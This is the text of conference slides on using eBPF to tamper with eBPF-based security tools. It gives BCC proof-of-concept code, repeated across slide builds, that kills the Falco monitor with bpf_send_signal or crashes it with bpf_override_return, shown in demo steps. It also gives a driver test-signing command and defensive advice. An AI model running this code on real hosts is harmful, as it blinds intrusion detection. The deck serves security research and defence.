Skip to main content
#BHMEA24 www.blackhatmea.com
|
|
ORGANISED BY: IN ASSOCIATION WITH:
eBPF WARFARE: Subverting Security Solutions
Through Kernel-Space Manipulation
DONATO ONOFRI - Sr. Red Team Engineer II@CrowdStrike
02 - 04 DECEMBER 2025
RIYADH EXHIBITION AND CONVENTION
CENTER, MALHAM, SAUDI ARABIA
#BHMEA24 www.blackhatmea.com
|
|
Whoami
■ Sr. Red Team Engineer II @CrowdStrike
■ Red Team, Purple Team, Evasion, Reverse
Engineering, OS Internals
■ Co-Author of “Attacking and Exploiting Modern Web
Applications” book
■ @Linkedin
#BHMEA24 www.blackhatmea.com
|
|
Agenda
Why eBPF
eBPF 101
Offensive eBPF
Defending with…eBPF
#BHMEA24 www.blackhatmea.com
|
|
Why eBPF
“eBPF is a revolutionary kernel technology that allows developers to write custom code that
can be loaded into the kernel dynamically, changing the way the kernel behaves”
■ Learning eBPF by Liz Rice
“eBPF is a revolutionary technology with origins in the Linux kernel that can run
sandboxed programs in a privileged context such as the operating system kernel. It is used
to safely and efficiently extend the capabilities of the kernel without requiring to change
kernel source code or load kernel modules”
■ https://ebpf.io/
#BHMEA24 www.blackhatmea.com
|
|
Why eBPF - Cloud Security
■ Linux is the OS of the Cloud!1
■ eBPF is become the foundation of many Cloud-Native Security Solutions:
Cilium / Tetragon
Wiz
Falco
Amazon GuardDuty
Defender
■ And more..
1https://www.redhat.com/en/topics/linux/linux-for-cloud-computing
#BHMEA24 www.blackhatmea.com
|
|
eBPF History - BPF
■ “It is the successor to the Berkeley Packet
Filter (BPF, with the "e" originally meaning
"extended") filtering mechanism in Linux
and is also used in non-networking parts
of the Linux kernel as well”
■ EG “Classic BPF”
○ https://www.usenix.org/system/files/li
sa21_slides_gregg_bpf.pdf
○ https://www.tcpdump.org/bpfexam/
#BHMEA24 www.blackhatmea.com
|
|
eBPF 101
“eBPF technology enables direct attachment to kernel hooks and system events, allowing programs to run custom code within kernel
space without modifying the kernel source (aka: without the usage of kernel modules or drivers)
#BHMEA24 www.blackhatmea.com
|
|
eBPF 101 - Attachment types
The attachment type defines more specifically where the program gets attached
#define SEC(NAME) __attribute__((section(NAME), used))
This macro sends a hint to the compiler to place a symbol in a specific section of the resulting eBPF object
binary. (https://docs.ebpf.io/ebpf-library/libbpf/ebpf/SEC/)
Several types (below listed a subset):
■ XDP: high perf. network packet (early hook placed in NIC driver)
■ TP: tracepoint, static locations in the kernel code (/sys/kernel/tracing/available_event)
■ Kprobe/Kretprobe: kernel probes that can be attached in kernel code functions (debug/exception)
■ Fentry/Fexit: function entry/exit (like probes with less overhead - trampoline)
■ Uprobe: user space probes to trace user processes
#BHMEA24 www.blackhatmea.com
|
|
eBPF 101 - Hello World
Libbpf (
https://github.com/libbpf)
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/sched.h>
char LICENSE[] SEC("license")
= "Dual BSD/GPL";
//tracepoint attach
SEC("tp/syscalls/
sys_enter_write")
int handle_tp(void *ctx)
{
bpf_printk("Hello World from
eBPF!");
return 0;
}
BCC (
https://github.com/iovisor/bcc)
#!/usr/bin/python
from bcc import BPF
from bcc.utils import printb
# define BPF program
prog = """
int hello(void *ctx) {
bpf_trace_printk("Hello World
from eBPF!n");
return 0;
}
"""
# load BPF program
b = BPF(text=prog)
b.attach_kprobe(event=b.get_syscal
l_fnname("clone"),
fn_name="hello")
Bpftrace (
https://github.com/bpftrac
e/bpftrace
)
bpftrace -e
'tracepoint:syscalls:sys_ent
er_open {
printf("Hello World from
eBPF!");
}'
#BHMEA24 www.blackhatmea.com
|
|
eBPF 101 - (Kernel) Hooking for Security - Syscall instrumentation
■ Usage of eBPF can be use to monitor and analyze system
calls in real-time
○ The eBPF can manipulate the result or kill the program
using suspicious syscalls
■ Some advantages compared to kernel module:
○ eBPF programs are verified before loading in kernel
(“less BSODs”, safer)
○ Good performance
○ “Easy” to implement
#BHMEA24 www.blackhatmea.com
|
|
■ SEC("kprobe"), other can be used
https://eunomia.dev/en/tutorials/2-kprobe-unlink/
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
char LICENSE[] SEC("license") = "Dual BSD/GPL";
SEC("kprobe/do_unlinkat")
int BPF_KPROBE(do_unlinkat, int dfd, struct filename
*name)
{
pid_t pid;
const char *filename;
pid = bpf_get_current_pid_tgid() >> 32;
filename = BPF_CORE_READ(name, name);
bpf_printk("KPROBE ENTRY pid = %d, filename = %sn",
pid, filename);
return 0;
}
https://docs.ebpf.io/ebpf-library/libbpf/
eBPF 101 - (Kernel) Hooking for Security - Syscall instrumentation
#BHMEA24 www.blackhatmea.com
|
|
eBPF 101 - (Kernel) Hooking for Security - Network instrumentation
■ 2016, XDP was merged into the Linux kernel enabling a high-performance
datapath by allowing eBPF programs to run directly in the driver of a
network device.
https://cilium.io/blog/2020/11/10/ebpf-future-of-networking/
■ Capturing network packets is essential for monitoring, debugging, and
securing network communications. Traditional tools like tcpdump operate in
user space and can incur significant overhead. By leveraging eBPF and XDP, we
can capture TCP header information directly within the kernel, minimizing
overhead and improving performance.
■ XDP is a high-performance data path within the Linux kernel that allows for
programmable packet processing at the lowest level of the network stack. By
attaching an eBPF program to XDP, we can process packets immediately as they
arrive, reducing latency and improving efficiency.
https://eunomia.dev/en/tutorials/41-xdp-tcpdump/
#BHMEA24 www.blackhatmea.com
|
|
■ SEC("xdp")
■ XDP actions
○ XDP_PASS
○ XDP_DROP
https://eunomia.dev/en/tutorials/21-xdp/
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
/// @ifindex 1
/// @flags 0
/// @xdpopts {"old_prog_fd":0}
SEC("xdp")
int xdp_pass(struct xdp_md* ctx) {
void* data = (void*)(long)ctx->data;
void* data_end = (void*)(long)ctx->data_end;
int pkt_sz = data_end - data;
bpf_printk("packet size is %d", pkt_sz);
return XDP_PASS;
}
char __license[] SEC("license") = "GPL";
eBPF 101 - (Kernel) Hooking for Security - Network instrumentation
#BHMEA24 www.blackhatmea.com
|
|
eBPF for Offensive
As every technology that is part of a stack, eBPF could increase the attack surface of attackers:
■ They could exploit eBPF:
■ https://bughunters.google.com/blog/6303226026131456/a-deep-dive-into-cve-2023-2163-how-we-found-and-fixe
d-an-ebpf-linux-kernel-vulnerability
■ They could craft specific bypass:
■ https://www.form3.tech/blog/engineering/bypassing-ebpf-tools
■ They could tamper its components:
■ https://www.crowdstrike.com/en-us/blog/analyzing-the-security-of-ebpf-maps/
Moreover, adversaries could use the eBPF technology itself to achieve malicious actions:
■ They could use for eBPF rootkits & malware:
■ https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf
■ https://blog.tofile.dev/2021/08/01/bad-bpf.html
■ https://redcanary.com/blog/threat-detection/ebpf-malware/
■ They could use eBPF… to tamper eBPF tools! (rest of the talk)
■ https://douglasmakey.medium.com/beyond-observability-modifying-syscall-behavior-with-ebpf-my-precious-secre
t-files-62aa0e3c9860
#BHMEA24 www.blackhatmea.com
|
|
HORNET: using eBPF… to tamper eBPF
■ HORNET: tool we developed used to tamper eBPF from eBPF
#BHMEA24 www.blackhatmea.com
|
|
HORNET: using eBPF… to tamper eBPF
■ HORNET: tool we developed used to tamper eBPF from eBPF
■ 2 modes (and others):
■ bpf_send_signal(u32 sig)
Description
Send signal sig to the process of the current task.
The signal may be delivered to any of this process's
Threads.
■ bpf_override_return(struct pt_regs *regs, u64 rc)
Description
Used for error injection, this helper uses kprobes
to override the return value of the probed function,
and to set it to rc.
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF
■ bpf_send_signal: killing eBPF process from eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF
■ bpf_send_signal: killing eBPF process from eBPF
bpf_send_signal
SIGKILL
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF
■ bpf_send_signal: killing eBPF process from eBPF
# Define the eBPF program as a string.
bpf_program = """
#include <uapi/linux/ptrace.h>
#define SIGKILL 9
int syscall__openat(struct pt_regs *ctx) {
long ret;
char proc_name[32];
ret = bpf_get_current_comm(proc_name, 32);
if(proc_name[0]=='f')
if(proc_name[1]=='a')
if(proc_name[2]=='l')
if(proc_name[3]=='c')
if(proc_name[4]=='o')
if(proc_name[5]=='0')
{
bpf_trace_printk("Hooking openat() in falco, forcing
error! n");
bpf_send_signal(9); //KILLING }
return 0;
}
# Load the eBPF program.
from bcc import BPF
b = BPF(text=bpf_program)
# Attach the kprobe defined in the eBPF program to the openat
system call.
event_name = b.get_syscall_prefix().decode() + 'openat'
b.attach_kprobe(event=event_name, fn_name="syscall__openat")
# Loop and print the output of the eBPF program.
try:
print("Attaching kprobe to sys_openat.. Press Ctrl+C to exit.")
b.trace_print()
except KeyboardInterrupt:
pass
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF
■ bpf_send_signal: killing eBPF process from eBPF
# Define the eBPF program as a string.
bpf_program = """
#include <uapi/linux/ptrace.h>
#define SIGKILL 9
int syscall__openat(struct pt_regs *ctx) {
long ret;
char proc_name[32];
ret = bpf_get_current_comm(proc_name, 32);
if(proc_name[0]=='f')
if(proc_name[1]=='a')
if(proc_name[2]=='l')
if(proc_name[3]=='c')
if(proc_name[4]=='o')
if(proc_name[5]=='0')
{
bpf_trace_printk("Hooking openat() in falco, forcing
error! n");
bpf_send_signal(9); //KILLING }
return 0;
}
# Load the eBPF program.
from bcc import BPF
b = BPF(text=bpf_program)
# Attach the kprobe defined in the eBPF program to the openat
system call.
event_name = b.get_syscall_prefix().decode() + 'openat'
b.attach_kprobe(event=event_name, fn_name="syscall__openat")
# Loop and print the output of the eBPF program.
try:
print("Attaching kprobe to sys_openat.. Press Ctrl+C to exit.")
b.trace_print()
except KeyboardInterrupt:
pass
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF
■ bpf_send_signal: killing eBPF process from eBPF
# Define the eBPF program as a string.
bpf_program = """
#include <uapi/linux/ptrace.h>
#define SIGKILL 9
int syscall__openat(struct pt_regs *ctx) {
long ret;
char proc_name[32];
ret = bpf_get_current_comm(proc_name, 32);
if(proc_name[0]=='f')
if(proc_name[1]=='a')
if(proc_name[2]=='l')
if(proc_name[3]=='c')
if(proc_name[4]=='o')
if(proc_name[5]=='0')
{
bpf_trace_printk("Hooking openat() in falco, forcing
error! n");
bpf_send_signal(9); //KILLING }
return 0;
}
# Load the eBPF program.
from bcc import BPF
b = BPF(text=bpf_program)
# Attach the kprobe defined in the eBPF program to the openat
system call.
event_name = b.get_syscall_prefix().decode() + 'openat'
b.attach_kprobe(event=event_name, fn_name="syscall__openat")
# Loop and print the output of the eBPF program.
try:
print("Attaching kprobe to sys_openat.. Press Ctrl+C to exit.")
b.trace_print()
except KeyboardInterrupt:
pass
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF
■ bpf_send_signal: killing eBPF process from eBPF
# Define the eBPF program as a string.
bpf_program = """
#include <uapi/linux/ptrace.h>
#define SIGKILL 9
int syscall__openat(struct pt_regs *ctx) {
long ret;
char proc_name[32];
ret = bpf_get_current_comm(proc_name, 32);
if(proc_name[0]=='f')
if(proc_name[1]=='a')
if(proc_name[2]=='l')
if(proc_name[3]=='c')
if(proc_name[4]=='o')
if(proc_name[5]=='0')
{
bpf_trace_printk("Hooking openat() in falco, forcing
error! n");
bpf_send_signal(9); //KILLING }
return 0;
}
# Load the eBPF program.
from bcc import BPF
b = BPF(text=bpf_program)
# Attach the kprobe defined in the eBPF program to the openat
system call.
event_name = b.get_syscall_prefix().decode() + 'openat'
b.attach_kprobe(event=event_name, fn_name="syscall__openat")
# Loop and print the output of the eBPF program.
try:
print("Attaching kprobe to sys_openat.. Press Ctrl+C to exit.")
b.trace_print()
except KeyboardInterrupt:
pass
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ PoC: Targeting falco (https://falco.org/) Checking falco running
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ PoC: Targeting falco (https://falco.org/)
Triggering falco rule
Checking falco running
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ PoC: Targeting falco (https://falco.org/) Checking falco running
Triggering falco rule
Checking falco output
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ bpf_send_signal: killing eBPF process from eBPF
Running eBPF (bcc)
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ bpf_send_signal: killing eBPF process from eBPF
Running eBPF (bcc)
Kprobe attaching
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ bpf_send_signal: killing eBPF process from eBPF
Running eBPF (bcc)
Kprobe attaching
Kprobe hits
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ bpf_send_signal: killing eBPF process from eBPF
Running eBPF (bcc)
Kprobe attaching
Kprobe hits
bpf_send_signal(9)
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ bpf_send_signal: killing eBPF process from eBPF
Running eBPF (bcc)
Kprobe attaching
Kprobe hits
bpf_send_signal(9)
Falco killed by eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ bpf_send_signal: killing eBPF process from eBPF
Kprobe hits
Falco killed by eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ bpf_send_signal: killing eBPF process from eBPF
Kprobe hits
Re-Triggering falco rule
Falco killed by eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_send_signal: using eBPF… to tamper eBPF - DEMO
■ bpf_send_signal: killing eBPF process from eBPF
Kprobe hits
NO falco output
Re-Triggering falco rule
Falco killed by eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF
■ bpf_override_return: killing eBPF process from eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF
■ bpf_override_return: killing eBPF process from eBPF
bpf_override_return
return = -1 (error)
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF
■ bpf_override_return
# Define the eBPF program as a string.
bpf_program = """
#include <uapi/linux/ptrace.h>
#define SIGKILL 9
int syscall__bpf(struct pt_regs *ctx) {
long ret;
char proc_name[32];
ret = bpf_get_current_comm(proc_name, 32);
if(proc_name[0]=='f')
if(proc_name[1]=='a')
if(proc_name[2]=='l')
if(proc_name[3]=='c')
if(proc_name[4]=='o')
if(proc_name[5]=='0')
{
bpf_trace_printk("Hooking syscall in falco, forcing
error! n");
bpf_override_return(ctx, -1); //OVERRIDE RETURN
}
return 0;
}
# Load the eBPF program.
from bcc import BPF
b = BPF(text=bpf_program)
# Attach the kprobe defined in the eBPF program to the syscall system call.
# loop for all the syscalls listed here: #
https://man7.org/linux/man-pages/man2/syscalls.2.html
event_nameX = b.get_syscall_prefix().decode() + 'SYSCALL'
b.attach_kprobe(event=event_nameX, fn_name="syscall__bpf")
[..]
# Loop and print the output of the eBPF program.
try:
print("Attaching kprobe to syscall.. Press Ctrl+C to exit.")
b.trace_print()
except KeyboardInterrupt:
Pass
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF
■ bpf_override_return
# Define the eBPF program as a string.
bpf_program = """
#include <uapi/linux/ptrace.h>
#define SIGKILL 9
int syscall__bpf(struct pt_regs *ctx) {
long ret;
char proc_name[32];
ret = bpf_get_current_comm(proc_name, 32);
if(proc_name[0]=='f')
if(proc_name[1]=='a')
if(proc_name[2]=='l')
if(proc_name[3]=='c')
if(proc_name[4]=='o')
if(proc_name[5]=='0')
{
bpf_trace_printk("Hooking syscall in falco, forcing
error! n");
bpf_override_return(ctx, -1); //OVERRIDE RETURN
}
return 0;
}
# Load the eBPF program.
from bcc import BPF
b = BPF(text=bpf_program)
# Attach the kprobe defined in the eBPF program to the syscall system call.
# loop for all the syscalls listed here: #
https://man7.org/linux/man-pages/man2/syscalls.2.html
event_nameX = b.get_syscall_prefix().decode() + 'SYSCALL'
b.attach_kprobe(event=event_nameX, fn_name="syscall__bpf")
[..]
# Loop and print the output of the eBPF program.
try:
print("Attaching kprobe to syscall.. Press Ctrl+C to exit.")
b.trace_print()
except KeyboardInterrupt:
Pass
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF
■ bpf_override_return
# Define the eBPF program as a string.
bpf_program = """
#include <uapi/linux/ptrace.h>
#define SIGKILL 9
int syscall__bpf(struct pt_regs *ctx) {
long ret;
char proc_name[32];
ret = bpf_get_current_comm(proc_name, 32);
if(proc_name[0]=='f')
if(proc_name[1]=='a')
if(proc_name[2]=='l')
if(proc_name[3]=='c')
if(proc_name[4]=='o')
if(proc_name[5]=='0')
{
bpf_trace_printk("Hooking syscall in falco, forcing
error! n");
bpf_override_return(ctx, -1); //OVERRIDE RETURN
}
return 0;
}
# Load the eBPF program.
from bcc import BPF
b = BPF(text=bpf_program)
# Attach the kprobe defined in the eBPF program to the syscall system call.
# loop for all the syscalls listed here: #
https://man7.org/linux/man-pages/man2/syscalls.2.html
event_nameX = b.get_syscall_prefix().decode() + 'SYSCALL'
b.attach_kprobe(event=event_nameX, fn_name="syscall__bpf")
[..]
# Loop and print the output of the eBPF program.
try:
print("Attaching kprobe to syscall.. Press Ctrl+C to exit.")
b.trace_print()
except KeyboardInterrupt:
Pass
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF
■ bpf_override_return
# Define the eBPF program as a string.
bpf_program = """
#include <uapi/linux/ptrace.h>
#define SIGKILL 9
int syscall__bpf(struct pt_regs *ctx) {
long ret;
char proc_name[32];
ret = bpf_get_current_comm(proc_name, 32);
if(proc_name[0]=='f')
if(proc_name[1]=='a')
if(proc_name[2]=='l')
if(proc_name[3]=='c')
if(proc_name[4]=='o')
if(proc_name[5]=='0')
{
bpf_trace_printk("Hooking syscall in falco, forcing
error! n");
bpf_override_return(ctx, -1); //OVERRIDE RETURN
}
return 0;
}
# Load the eBPF program.
from bcc import BPF
b = BPF(text=bpf_program)
# Attach the kprobe defined in the eBPF program to the syscall system call.
# loop for all the syscalls listed here: #
https://man7.org/linux/man-pages/man2/syscalls.2.html
event_nameX = b.get_syscall_prefix().decode() + 'SYSCALL'
b.attach_kprobe(event=event_nameX, fn_name="syscall__bpf")
[..]
# Loop and print the output of the eBPF program.
try:
print("Attaching kprobe to syscall.. Press Ctrl+C to exit.")
b.trace_print()
except KeyboardInterrupt:
Pass
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ PoC: Targeting falco (https://falco.org/)
Checking falco running
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ PoC: Targeting falco (https://falco.org/)
Checking falco running
Triggering falco rule
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ PoC: Targeting falco (https://falco.org/)
Checking falco running
Triggering falco rule
Checking falco output
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ bpf_ovverride_return: forcing error in eBPF process from eBPF
Running eBPF (bcc)
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ bpf_ovverride_return: forcing error in eBPF process from eBPF
Running eBPF (bcc)
Kprobe attaching
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ bpf_ovverride_return: forcing error in eBPF process from eBPF
Running eBPF (bcc)
Kprobe attaching
Kprobe hits
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ bpf_ovverride_return: forcing error in eBPF process from eBPF
Running eBPF (bcc)
Kprobe attaching
Kprobe hits
bpf_override_return(-1)
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ bpf_ovverride_return: forcing error in eBPF process from eBPF
Running eBPF (bcc)
Kprobe attaching
Kprobe hits
bpf_override_return(-1)
Falco crashed by eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ bpf_ovverride_return: forcing error in eBPF process from eBPF
Kprobe hits
Falco crashed by eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ bpf_ovverride_return: forcing error in eBPF process from eBPF
Kprobe hits
Re-Triggering falco rule
Falco crashed by eBPF
#BHMEA24 www.blackhatmea.com
|
|
bpf_override_return: using eBPF… to tamper eBPF - DEMO
■ bpf_ovverride_return: forcing error in eBPF process from eBPF
Kprobe hits
NO falco output
Re-Triggering falco rule
Falco crashed by eBPF
#BHMEA24 www.blackhatmea.com
|
|
Defending eBPF tampering with… eBPF
■ Monitor eBPF syscall: bpf(BPF_PROG_LOAD)
BPF_PROG_LOAD
Verify and load an eBPF program, returning a new file
descriptor associated with the program.
Using eBPF to intercept and to check the eBPF program and and eventually drop the bpf() syscall
■ Seccomp BPF
Use seccomp to filter bpf syscall to other threads, avoiding to expose bpf() syscall to other
processes
#BHMEA24 www.blackhatmea.com
|
|
Conclusion
■ eBPF technology is already part of the Technology Stack implemented in several Security and
Monitoring Tools: we can expect is going to be implemented more and more in the future - due
it is power and flexibility.
■ As others technologies, it could be (ab)used for Offensive Security techniques too.
■ Defenders need to be aware of that: since eBPF is part of the Technology Stack (so it affects
the Attack Surface) it need to be considered on Threat Modeling.
■ Restrict eBPF operations only to allowed process and users, and with the necessary
permissions, following the Principle of least privilege
#BHMEA24 www.blackhatmea.com
|
|
Bonus - eBPF for Windows
■ https://opensource.microsoft.com/blog/2022/02/22/getting-linux-based-ebpf-programs-to-run-
with-ebpf-for-windows/
■ https://microsoft.github.io/ebpf-for-windows/
■ https://github.com/microsoft/ebpf-for-windows
■ https://scorpiosoftware.net/2025/02/22/introduction-to-ebpf-for-windows/
Driver need to be signed using a certificate that chains up to the Microsoft code signing root (aka a
production signed driver):
EG: bcdedit /set testsigning on
#BHMEA24 www.blackhatmea.com
|
|
References
■ Learning eBPF by Liz Rice
■ https://ebpf.io/
■ https://cloud.google.com/blog/products/containers-kubernetes/bringing-ebpf-and-cilium-to-google-kubernetes-engine
■ https://www.redhat.com/en/topics/linux/linux-for-cloud-computing
■ https://www.tcpdump.org/bpfexam/
■ https://docs.ebpf.io/ebpf-library/libbpf/ebpf/SEC/
■ https://ebpfchirp.substack.com/p/tracepoints-kprobes-or-fprobes-which
■ https://www.usenix.org/system/files/lisa21_slides_gregg_bpf.pdf
■ https://riptides.io/blog-post/from-breakpoints-to-tracepoints-an-introduction-to-linux-kernel-tracing
■ https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2020/08/05/tracing-basic
■ https://hackmd.io/@SuNsHiNe-75/H1vHsTE1Jg
■ https://jvns.ca/blog/2017/07/05/linux-tracing-systems/#ftrace
■ https://bootlin.com/pub/conferences/2024/cdl/lothore-ebpf-howto/lothore-ebpf-howto.pdf
■ https://events.static.linuxfound.org/slides/lfcs2010_hiramatsu.pdf
■ https://events19.linuxfoundation.org/wp-content/uploads/2017/12/oss-eu-2018-fun-with-dynamic-trace-events_steven-rostedt.pdf
■ https://docs.kernel.org/trace/index.html#introduction-to-tracing
■ https://docs.kernel.org/trace/kprobes.html
■ https://blog.devops.dev/understanding-the-technologies-behind-ftrace-tracepoint-and-kprobe-57fefa1b9aa2
■ https://www.wiz.io/blog/unveiling-ebpf-revolutionizing-security-and-observability
■ https://learn.microsoft.com/en-us/defender-endpoint/linux-support-ebpf
■ https://falco.org/blog/tracing-syscalls-using-ebpf-part-1/
■ https://aws.amazon.com/about-aws/whats-new/2023/07/amazon-guardduty-eks-monitoring-systems-processor/
■ https://cilium.io/blog/2020/11/10/ebpf-future-of-networking/
■ https://eunomia.dev/en/tutorials/41-xdp-tcpdump/
■ https://github.com/xdp-project
■ https://bughunters.google.com/blog/6303226026131456/a-deep-dive-into-cve-2023-2163-how-we-found-and-fixed-an-ebpf-linux-kernel-vulnerability
■ https://www.form3.tech/blog/engineering/bypassing-ebpf-tools
■ https://www.crowdstrike.com/en-us/blog/analyzing-the-security-of-ebpf-maps/
■ https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf
■ https://blog.tofile.dev/2021/08/01/bad-bpf.html
■ https://redcanary.com/blog/threat-detection/ebpf-malware/
■ https://douglasmakey.medium.com/beyond-observability-modifying-syscall-behavior-with-ebpf-my-precious-secret-files-62aa0e3c9860
■ https://blog.doyensec.com/2022/10/11/ebpf-bypass-security-monitoring.html
■ https://dzone.com/articles/seccomp-ebpf-and-the-importance-of-kernel-system-c
■ https://learn.microsoft.com/en-us/azure/aks/secure-container-access
■ https://cloud.google.com/kubernetes-engine/docs/concepts/seccomp-in-gke
■ https://opensource.microsoft.com/blog/2022/02/22/getting-linux-based-ebpf-programs-to-run-with-ebpf-for-windows/
■ https://microsoft.github.io/ebpf-for-windows/
■ https://github.com/microsoft/ebpf-for-windows
■ https://scorpiosoftware.net/2025/02/22/introduction-to-ebpf-for-windows/
THANK YOU!